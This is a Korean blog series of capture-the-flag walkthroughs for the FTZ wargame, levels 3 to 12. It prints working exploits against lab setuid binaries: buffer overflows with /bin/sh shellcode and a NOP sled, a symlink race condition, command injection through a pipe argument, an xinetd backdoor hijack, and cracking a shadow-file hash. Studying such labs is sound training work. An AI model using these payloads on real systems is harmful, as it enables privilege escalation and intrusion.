FTZ level12

Posted by dw0rdptr
2015. 3. 17. 21:05 System/FTZ


-hint

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( void ){    
 
    char str[256];     
    setreuid( 30933093 );    
    printf( "문장을 입력하세요.\n" );    
    gets( str );    
    printf( "%s\n", str );
}  
cs

 



gets는 입력받는 문자열의 길이를 제한하지 못해 선언된 버퍼보다 많은값을 입력받으면

버퍼 오버플로우가 발생하게 된다


level 11과는 다르게  프로그램 안에서 입력을 받고있다.


gdb 로 disass main명령어를 실행하면


main+3을 보면 스택에 0x108(264)의 공간을 만든다

이 공간은 str[256]+dummy이므로 dummy의 크기는 8byte이라는 것을알수있다



| str[256] | dummy[8] | sfp[4] | ret[4] |



먼저 환경변수 shellcode에 25바이트 쉘코드를 입력


export shellcode=`python -c 'print "\x90"*50 + "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


환경변수 shellcode의 주소를 찾는다

(소스는 level11 참조)



./get shellcode

The address of shellcode is 0xbffffec5



이제 공격 코드를 짜면되는데, 파이프 명령어를 이용한다

(python -c 'print "A"*268 + "\xc5\xfe\xff\xbf"' ;cat) | ./attackme

                                              (shellcode의 주소)



위와 같은 방법으로 스크립트 전체를 괄호로 묶고 cat 으로 나온 출력을 attackme 의 입력으로 돌려주면 된다.



uid=3093(level13) gid=3092(level12) groups=3092(level12)

쉘을 얻었다. my-pass를 실행하면


level13 Password



'System > FTZ' 카테고리의 다른 글

FTZ level14  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level11  (0) 2015.03.17
FTZ level10  (0) 2015.03.17
FTZ level9  (0) 2015.03.17

FTZ level11

Posted by dw0rdptr
2015. 3. 17. 21:02 System/FTZ


-hint-

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h> 
int main( int argc, char *argv[] ){    
    
    char str[256];     
 
    setreuid( 30923092 );    
    strcpy( str, argv[1] );    
    printf( str );
cs



-gcc 2.96

(이 버전 이상의 gcc 컴파일러에서는 dummy값 추가)



높은주소        ↓방향으로 스택쌓임

----------

      ret            4byte

----------

      sfp            (saved frame pointer) 4byte

----------

   dummy1       buffer의 크기가 9byte 이상이면 8byte로 일정한 크기

----------

   dummy2      buffer의 시작주소와 dummy1의 시작주소 사이 거리가 16의배수가 되게 만든다.

----------    (거리는 256byte, 16의 배수이므로 dummy2의 크기는 0)

   str[256]        -buffer

----------

낮은주소



str에 버퍼 256byte 선언


dummy 8byte + sfp 4byte + ret의 시작주소까지 268byte



*참고


25byte 쉘코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80


2번째걸씀



export 명령어로 환경변수 shellcode 선언하고 25byte 쉘코드입력


export shellcode=`python -c 'print "\x90"*50 + "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`



* "\x90"=NOP sled(nop 썰매)

 NOP은 CPU가 아무일도 하지 않는다는 명령어이다

 환경변수에 바로 쉘코드를 올리면 프로그램에서 환경변수를 참조할때 

 항상 쉘코드의 시작주소에서 시작하지는 않기 때문에

 아무곳에서나 참조하더라도 NOP을 만나면 그대로 쉘코드를 만나 실행하게된다




-환경변수 주소를 찾는 소스


1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){    
 
    char *addr;    
    addr=getenv(argv[1]);    
 
    printf("The address of %s is %p\n",argv[1],addr);    
    return 0;
}
cs


gcc로 컴파일 한 뒤 실행한다


./get shellcode

The address of shellcode is 0xbffffc1e



환경변수 shellcode의 주소값이나온다



공격코드를 짜보면

./attackme `python -c 'print "A"*268 + "\x1e\xfc\xff\xbf"'`

                        (shellcode의 주소)


A로 str[256]+dummy[8]+sfp[4]=268byte를 모두 채운 후 ret자리에 shellcode의 주소를 넣게 된다


스크립트를 실행하면!


sh-2.05b$ 


성공


level12의 패스워드는


이 문제처럼 버퍼의 크기가 큰 경우 환경변수를 쓰지 않고 버퍼에 직접 쉘코드를 

입력하고 ret주소를 버퍼의 시작주소로 바꾸는 방법도 있다.



'System > FTZ' 카테고리의 다른 글

FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level10  (0) 2015.03.17
FTZ level9  (0) 2015.03.17
FTZ level8  (0) 2015.03.17

FTZ level10

Posted by dw0rdptr
2015. 3. 17. 20:54 System/FTZ



hint :

두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.

그 대화방은 공유 메모리를 이용하여 만들어졌으며, 

key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여 

level11의 권한을 얻어라.



공유메모리와 공유메모리와 관련된 함수에 대한 자세한 설명은 

http://geundi.tistory.com/52


key_t의 값을 알고있으니 key_t를 이용해 식별자를 구하고

식별자로 공유메모리의 주소를 구해 그 내용을 출력하는 프로그램을 짜면

다음레벨의 패스워드를 알 수 있다.



-프로그램소스 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <sys/types.h>
#include <sys/shm.h>
int main(){        
 
    int identifier;            
    int address;        
    int key;        
 
    printf("input key_t:");     //key_t입력        
    scanf("%d",&key);        
 
    identifier = shmget(key,0,IPC_CREAT);   //shmget함수로 식별자 구하기        
    address = shmat(identifier,0,0);           //shmget함수의 리턴값(식별자)로 공유메모리주소 구하기
 
    printf("%s",address);               //주소에있는 대화 출력        
    return 0;
}
 
cs


멍 멍 : level11의 패스워드는?


'System > FTZ' 카테고리의 다른 글

FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17
FTZ level9  (0) 2015.03.17
FTZ level8  (0) 2015.03.17
FTZ level7  (0) 2015.03.17

FTZ level9

Posted by dw0rdptr
2015. 3. 17. 20:51 System/FTZ


hint :


다음은 /usr/bin/bof의 소스이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
   
    char buf2[10];  
    char buf[10];   
 
    printf("It can be overflow : ");  
    fgets(buf,40,stdin);   
    
    if ( strncmp(buf2, "go"2== 0 )
{        
        printf("Good Skill!\n");        
        setreuid( 30103010 );        
        system("/bin/bash");   
    } 
}   
 
cs

이를 이용하여 level10의 권한을 얻어라.



ftz에서 처음 나오는 버퍼 오버플로우 문제이다.

버퍼오버플로우가 뭔지 모른다면 관련 기초문서를 보고 오는게 좋다.



먼저 소스를 분석해보자


스택에 10바이트 크기의 char형 배열 buf2를 선언한다

그 후 10바이트 크기의 char형 배열 buf를 하나 더 선언한다.


그리고 fgets함수로 buf에 입력은 받은 뒤

strncmp함수로 buf2와 문자열 "go" 의 처음 두자리를 비교한 뒤 함수의 리턴값이 0이면 (처음 두자리가 같으면)

Good Skill!을 출력하고 level10의 권한으로 쉘을 실행시킨다.


fgets함수는 40바이트까지 입력을 할수 있게 되어있지만 실제 buf의 크기는 10이므로

10바이트 넘게 입력을 하면 버퍼오버플로우가 일어나 buf2로 입력이 가능하다.



메모리의 높은 주소

-------------                                    

     ret         4byte                               

-------------                                       ↓ 스택이 자라는 방향  

     sfp         4byte (saved frame pointer)

-------------

  dummy1     ???

-------------

  dummy2     ???

-------------

   buf2[10]    10byte

-------------

  dummy3     ???

-------------

   buf[10]     10byte

-------------

메모리의 낮은 주소


dummy3의 크기는 buf와 buf2에 따라 결정된다

buf와 buf2의 크기가 모두 9byte 이상일때, 

buf의 시작주소와 buf2의 시작주소까지의 거리가 16의 배수가 되게 dummy3의 크기가 결정된다.

(http://geundi.tistory.com/120 참고)


따라서 dummy3의 크기는 6byte가 된다.


이제 buf2의 처음 두 자리에 "go" 라는 문자열이 들어가게 하려면

buf+dummy3 = 16(byte)를 아무 문자로 채우고 go를 입력한다


[level10@ftz bin]$ ./bof

It can be overflow : aaaaaaaaaaaaaaaago

Good Skill!

[level10@ftz bin]$ my-pass



'System > FTZ' 카테고리의 다른 글

FTZ level11  (0) 2015.03.17
FTZ level10  (0) 2015.03.17
FTZ level8  (0) 2015.03.17
FTZ level7  (0) 2015.03.17
FTZ level6  (0) 2015.03.17

FTZ level8

Posted by dw0rdptr
2015. 3. 17. 20:48 System/FTZ

hint - level9의 shadow 파일이 서버 어딘가에 숨어있다.

        그 파일에 대해 알려진 것은 용량이 "2700"이라는 것 뿐이다.



우리가 아는건 파일의 용량밖에 없다.

find 명령으로 파일크기를 기준으로 찾아보자


find / -size [파일크기] [bckw중 택1] : 파일크기와 일치하는 파일


b : 블록단위 512kb

c : byte

k : kbyte

w : 2byte 워드

아무런 단위를 붙이지 않은 경우 : 디폴트 값 b



find / -size 2700(디폴트값 b) 으로 찾아봤더니 나온 파일이 모두 permission denied가 뜬다

c옵션을 줘보자


find / -size 2700c 


/etc/rc.d/found.txt를 찾았다.


열어보니 



level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

.

.

.

힌트를 다시 보자 

힌트에선 숨겨진 파일이 shadow파일이라고 한다. 


리눅스에서는 계정정보를 /etc/passwd에 보관하지만 사용자 패스워드와 그 외의 정보는 

따로 shadow 파일에 암호화해 보관한다



shadow 파일은 :(콜론) 으로 필드가 구분되어 있으며 

내용은 다음과 같다


계정명 : 암호화된 패스워드 : 최종 암호 변경일 : 암호변경 최소일수 : 암호변경 유예기간 : 

암호변경 경고 일수 : 계정 사용 불가 날짜 : 계정 만료일 : 예약


두번째 필드에 있는 내용이 암호화된 level9의 패스워드인데, 이걸 복호화하려면

John the Ripper(존더 리퍼) 라는 패스워드 크랙툴을 사용하면 된다.


존더리퍼를 사용해 크랙한 결과 


level9:apple:11040:0:99999:7:-1:-1:134549524



'System > FTZ' 카테고리의 다른 글

FTZ level10  (0) 2015.03.17
FTZ level9  (0) 2015.03.17
FTZ level7  (0) 2015.03.17
FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17

FTZ level7

Posted by dw0rdptr
2015. 3. 17. 20:46 System/FTZ


hint - 


/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.

1. 패스워드는 가까운곳에..

2. 상상력을 총동원하라.

3. 2진수를 10진수를 바꿀 수 있는가?

4. 계산기 설정을 공학용으로 바꾸어라.



bin 디렉토리로 이동해 level7를 실행해보자


Insert The Password : 


패스워드 입력을 요청하는데, 아무값이나 입력해보면


_--_--_- _--____- _---_-__ _--__-_-


'-'과 '_' 두가지로 구성되고 띄어쓰기로 구분된 문자열이 출력됐다

이게뭐지? 하는순간 감이왔다

힌트를 다시 보면 패스워드는 2진수 == 두가지 신호라는 것을 알 수 있다.


_을 0으로, -를 1로 바꿔보자


01101101 01100001 01110100 01100101


10진수로 바꿔보면

109 97 116 101 


이 숫자들은 아마 아스키코드일 것이다.


109 = m

97 = a

116 = t

101 = e


password는 mate!


[level7@ftz bin]$ ./level7

Insert The Password : mate




'System > FTZ' 카테고리의 다른 글

FTZ level9  (0) 2015.03.17
FTZ level8  (0) 2015.03.17
FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level4  (0) 2015.03.17

FTZ level6

Posted by dw0rdptr
2015. 3. 17. 20:44 System/FTZ

접속을 하면 난데없이 힌트가 나온다



hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.


엔터를 누르면 텔넷 접속서비스라고 뜨고 메뉴가나온다 

메뉴를 입력했더니 접속을 시도하다 그대로 세션이 종료되었다


다시 접속해보자

hint가 나올때 ctrl+c를 누르면 쉘이 뜬다

ls로 파일목록을보니

hint password  ....


password??


뭐지 설마..하면서 

[level6@ftz level6]$ cat password


끝.


'System > FTZ' 카테고리의 다른 글

FTZ level8  (0) 2015.03.17
FTZ level7  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level3  (0) 2015.03.17

FTZ level5

Posted by dw0rdptr
2015. 3. 17. 20:42 System/FTZ


hint :

/usr/bin/level5 프로그램은 /tmp 디렉토리에

level5.tmp 라는 이름의 임시파일을 생성한다.


이를 이용하여 level6의 권한을 얻어라



level5는 setuid가 걸려있다.


level5를 실행해보면 아무런 아웃풋 없이 프로그램이 종료된다.

힌트에서 /tmp 디렉토리에 임시파일을 생성한다고 했으나 실제로 /tmp 디렉토리에는

level5.tmp 파일이 존재하지 않았다.


여기서 생각해볼 수 있는 경우의 수는

아예 처음부터 level5 프로그램이 임시파일을 생성하지 않거나

프로그램이 종료되면 임시파일도 같이 삭제되는 경우를 생각해 볼 수 있다.


첫번째는.. 엿먹으라고 힌트를 저렇게 줄리 없으니

두번째경우로 가정을 한다면 레이스컨디션이라는 해킹기법과 심볼릭 링크를 이용해 패스워드를 알아내야 한다.


심볼릭링크와 레이스컨디션에 대한 자세한 설명은 http://geundi.tistory.com/48 이곳에 나와있다.


level5 프로그램을 여러번 실행하는 간단한 프로그램을 짠다



1
2
3
4
5
6
7
#include <stdio.h>
int main(){        
    int i;
    for(i=0;i<=1000;i++)
        system("/usr/bin/level5");        
}
cs

level5가 여러번 실행되면서  /tmp 디렉토리에는 level5.tmp가 생성되었다 삭제되는게 반복될 것이다

이번엔 임의의 파일 slink를 /tmp 디렉토리에 생성하고 level5.tmp를 slink의 심볼릭링크 파일로 생성하는 프로그램을 짠다


[level5@ftz tmp]$ touch slink

[level5@ftz tmp]$ vi link.c

1
2
3
4
5
6
7
#include <stdio.h>
int main(){        
    int i;        
    for(i=0;i<=1000;i++)
        system("ln -s /tmp/slink /tmp/level5.tmp");        
}
cs




[level5@ftz tmp]$ gcc -o level level.c

[level5@ftz tmp]$ gcc -o link link.c


이 두 프로그램을 동시에 실행시키면 level5를 실행하면 level5.tmp에 내용이 써지게 되고

심볼릭링크인 level5.tmp의 원본파일인 slink에도 그대로 쓰여질 것이다.



[level5@ftz tmp]$ ./level5&

[1] 8267

[level5@ftz tmp]$ ./link

ln : '/tmp/level5.tmp' : File exists

ln : '/tmp/level5.tmp' : File exists

ln : '/tmp/level5.tmp' : File exists

.

.

.

[1]+ Exit 84 ./level5


[level5@ftz tmp]$cat slink




'System > FTZ' 카테고리의 다른 글

FTZ level7  (0) 2015.03.17
FTZ level6  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level3  (0) 2015.03.17
FTZ level2  (0) 2015.03.17

FTZ level4

Posted by dw0rdptr
2015. 3. 17. 20:35 System/FTZ


hint : 누군가 /etc/xinetd.d/에 백도어를 심어놓았다.



xinetd.d폴더를 보면 backdoor가 있다.


service finger

{

        disable = no

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = level5

        server          = /home/level4/tmp/backdoor

        log_on_failure  += USERID

}


vi로 뜯어본 결과

finger 서비스를 실행시키면

level5 의 권한으로 /home/level4/tmp/backdoor 파일을 실행시킨다.


하지만 저 경로에 backdoor라는 파일이 없으므로 간단한 c프로그램으로 해결하자



[level4@ftz tmp]$ vi backdoor.c


1
2
3
4
5
int main(){    
    system("my-pass");    
    return 0;
}
 
cs


이렇게 system함수로 my-pass 명령어를 실행할 수 있게 프로그램을 짰다

이제 gcc로 컴파일을 하자



*gcc 사용법:

gcc [옵션][생성될 실행파일] [컴파일할 c파일]



[level4@ftz tmp]$ gcc -o backdoor backdoor.c

같은 폴더에 backdoor라는 바이너리 파일이 생성되었다.

한번 실행해보자


[level4@ftz tmp]$ ./backdoor 

Level4 Password is "suck my brain"


현재 레벨의 권한으로 실행시켰으니 당연히 현재 레벨의 패스워드가 나온다.

그럼 finger명령어를 통해 실행시키면 level5의 권한으로 실행되니 level5의 패스워드가 나올 것이다.



finger 명령어는 사용자의 계정정보를 확인하는 명령어인데

finger @host명 으로 실행하게 되면 해당 서버에 접속해 있는 모든 유저의 정보를 출력한다

finger의 서버가  /home/level4/tmp/backdoor 으로 설정되어 있으니 서버에 접속하게 되면 그대로 

아까 생성해놓은 backdoor를 실행하게 되고 level5의 패스워드가 나올 것이다.


[level4@ftz tmp]$ finger @localhost

^[[H^[[J


'System > FTZ' 카테고리의 다른 글

FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level3  (0) 2015.03.17
FTZ level2  (0) 2015.03.17
FTZ level1  (0) 2015.03.17

FTZ level3

Posted by dw0rdptr
2015. 3. 17. 20:09 System/FTZ


argc와 argv에 대해


main함수, 즉 프로그램이 실행할 때 인자를 받는경우 argc는 받는 인자의 개수를 뜻하고, argv는 인자를 가리킨다.


다음 코드는 autodig의 소스이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> 
int main(int argc, char **argv){         //argc는 인자의 개수, argv는 인자를 뜻한다     
    
    char cmd[100];     
 
    if( argc!=2 )
{        
        printf( "Auto Digger Version 0.9\n" );        
        printf( "Usage : %s host\n", argv[0] );        
        exit(0);    
    }     
 
    strcpy( cmd, "dig @" );    
    strcat( cmd, argv[1] );    
    strcat( cmd, " version.bind chaos txt");     
 
    system( cmd ); 
}
 
cs

이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?



인자가 2개가 아닐경우 프로그램을 바로 종료해버린다.

동시에 여러 인자를 전달하려면 파이프명령어 | (Shift+\) 를 쓰면 된다.


[level3@ftz level2]$ ./autodig localhost|my-pass


Level3 Password is "can you fly?".



? 현재 레벨의 my-pass가 나온다

힌트에 문자열 형태로 명령어를 전달하라고 했으니 ""를 써보자


[level3@ftz level2]$ ./autodig "localhost|my-pass"




'System > FTZ' 카테고리의 다른 글

FTZ level6  (0) 2015.03.17
FTZ level5  (0) 2015.03.17
FTZ level4  (0) 2015.03.17
FTZ level2  (0) 2015.03.17
FTZ level1  (0) 2015.03.17